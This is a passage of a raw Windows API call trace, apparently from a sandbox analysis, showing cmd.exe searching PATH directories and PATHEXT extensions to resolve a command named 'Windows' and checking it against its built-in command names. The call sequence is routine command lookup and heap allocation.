lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.866] GetLastError () returned 0x2 [0232.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.866] GetLastError () returned 0x2 [0232.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.866] GetLastError () returned 0x2 [0232.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.866] GetLastError () returned 0x2 [0232.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.867] GetLastError () returned 0x2 [0232.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.867] GetLastError () returned 0x2 [0232.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.867] GetLastError () returned 0x2 [0232.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.867] GetLastError () returned 0x2 [0232.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.868] GetLastError () returned 0x2 [0232.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.868] GetLastError () returned 0x2 [0232.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.868] GetLastError () returned 0x2 [0232.868] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.868] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.869] GetLastError () returned 0x2 [0232.869] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0232.869] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0232.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.869] GetLastError () returned 0x2 [0232.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.869] GetLastError () returned 0x2 [0232.870] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.870] GetLastError () returned 0x2 [0232.870] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.870] GetLastError () returned 0x2 [0232.870] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.870] GetLastError () returned 0x2 [0232.870] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.871] GetLastError () returned 0x2 [0232.871] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.871] GetLastError () returned 0x2 [0232.871] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.871] GetLastError () returned 0x2 [0232.871] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.871] GetLastError () returned 0x2 [0232.871] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.872] GetLastError () returned 0x2 [0232.872] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.872] GetLastError () returned 0x2 [0232.872] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.872] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.872] GetLastError () returned 0x2 [0232.872] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.872] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.873] GetLastError () returned 0x2 [0232.873] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.873] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.873] GetLastError () returned 0x2 [0232.873] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.873] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.873] GetLastError () returned 0x2 [0232.873] ??_V@YAXPEAX@Z () returned 0x1 [0232.873] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.878] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.878] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.878] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.878] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.878] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.878] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.878] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.878] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.878] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.878] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.878] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.879] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.879] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.879] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.879] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.879] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.879] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.879] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.879] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.879] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.879] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.879] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.879] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.879] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.879] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.879] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.879] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.879] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.879] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.879] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.879] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.879] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.879] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.879] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.879] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.879] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.880] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.880] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.880] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.880] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.880] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.880] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.880] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.880] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.880] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.880] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.880] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.880] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.880] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.880] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.880] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.880] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.880] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.880] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.880] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.880] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.880] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.880] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.880] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.880] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.880] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.880] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.880] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.881] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.881] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.881] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.881] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.881] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.881] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.881] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.881] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.881] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.881] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.881] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.881] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.881] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.881] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.881] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.881] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.881] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.881] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.881] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.881] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.881] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.881] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.881] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.881] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.881] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.881] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.881] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.882] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.882] ??_V@YAXPEAX@Z () returned 0x1 [0232.882] GetProcessHeap () returned 0x20b0f920000 [0232.882] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.882] GetProcessHeap () returned 0x20b0f920000 [0232.882] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f9574b0 [0232.882] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.882] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.883] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.883] GetProcessHeap () returned 0x20b0f920000 [0232.883] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.884] SetErrorMode (uMode=0x0) returned 0x0 [0232.884] SetErrorMode (uMode=0x1) returned 0x0 [0232.884] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.884] SetErrorMode (uMode=0x0) returned 0x1 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.885] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.885] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.885] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956b50 [0232.885] GetProcessHeap () returned 0x20b0f920000 [0232.885] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956b50) returned 0x7e [0232.885] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.885] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d1b0 [0232.886] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0232.886] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.886] GetLastError () returned 0x2 [0232.886] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.886] GetLastError () returned 0x2 [0232.887] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.887] GetLastError () returned 0x2 [0232.887] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.887] GetLastError () returned 0x2 [0232.887] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.887] GetLastError () returned 0x2 [0232.887] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.887] GetLastError () returned 0x2 [0232.888] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.888] GetLastError () returned 0x2 [0232.888] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.888] GetLastError () returned 0x2 [0232.888] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.888] GetLastError () returned 0x2 [0232.888] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.889] GetLastError () returned 0x2 [0232.889] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.889] GetLastError () returned 0x2 [0232.889] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.889] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.889] GetLastError () returned 0x2 [0232.889] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.889] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0232.889] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0232.890] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.890] GetLastError () returned 0x2 [0232.890] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.890] GetLastError () returned 0x2 [0232.890] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.890] GetLastError () returned 0x2 [0232.890] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.891] GetLastError () returned 0x2 [0232.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.891] GetLastError () returned 0x2 [0232.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.891] GetLastError () returned 0x2 [0232.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.891] GetLastError () returned 0x2 [0232.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.892] GetLastError () returned 0x2 [0232.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.892] GetLastError () returned 0x2 [0232.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.892] GetLastError () returned 0x2 [0232.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.892] GetLastError () returned 0x2 [0232.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.893] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.893] GetLastError () returned 0x2 [0232.893] GetDriveTypeW (lpRootPathName="C:\\") returned 